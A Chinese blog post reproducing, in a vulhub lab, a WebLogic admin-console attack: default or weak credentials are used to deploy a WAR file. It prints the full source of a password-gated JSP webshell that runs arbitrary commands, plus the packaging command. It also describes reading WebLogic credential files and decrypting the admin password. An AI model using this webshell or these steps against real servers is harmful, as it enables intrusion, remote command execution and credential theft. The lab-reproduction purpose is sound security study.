weblogic 后台弱密码上传war包getshell 漏洞复现

漏洞描述

Oracle WebLogic Server是Oracle 公司目前开发的Java EE 应用服务器,类似于tomcat

tomcat中存在后台上传war包getshell漏洞,同样weblogic服务也存在该漏洞,通常weblogic有以下特征

  • 默认端口为:7001
  • 特有的报错回显
  • 后台目录为/console/login/LoginForm.jsp

后台默认密码为用户名密码为weblogic,也有一些常用的弱密码访问https://cirt.net/passwords?criteria=weblogic查看

漏洞复习

使用vulhub来复现该漏洞,vulhub中该环境的用户名为weblogic密码为Oracle@123

cd vulhub/weblogic/weak_password
sudo docker-compose up -d

启动后访问7001端口默认404报错页面

访问/console/login/LoginForm.jsp目录使用用户名和密码登录,登录成功后点击部署

点击安装,选择本地文件,然后一直下一步完成,中间可能要设置项目名称,就是需要访问的目录的名称,如果不设置默认就是上传war文件的文件名
jsp木马有很多类型,这里我们手动封装一个

<%
    if ("ocean".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while ((a = in.read(b)) != -1) {
            out.print(new String(b));
        }
        out.print("</pre>");
    }

%>

打包为war文件

jar cvf test.war test.jsp

上传war文件



项目已经部署完成了,这时只需要访问就可以执行命令,注意连接的密码为ocean

成功利用

这里有很多的思路,例如直接上传webshell,使用连接工具连接

也可以直接上传reverse-shell代码,获得一个shell

另外vulhub这个靶机作者给我们一个file.jsp的文件,该文件有任意文件读取漏洞,使用该漏洞可以让我们理解一些weblogic的重要文件
weblogic使用AES加密,一般后台认证密码的配置文件中,例如user_projects/domains/base_domain/config/config.xml

user_projects/domains/base_domain/servers/AdminServer/security目录的boot.properties中也包含后天用户名和密码,位置可能不同

security/SerializedSystemIni.dat也是一个重要的配置文件,包含所有域的hash

我们可以使用file.jsp读取这些文件内容,将hash解密登录后台

例如:


解密密码可参考:https://github.com/TideSec/Decrypt_Weblogic_Password

posted @ 2024-04-10 11:17  Junglezt  阅读(208)  评论(0编辑  收藏  举报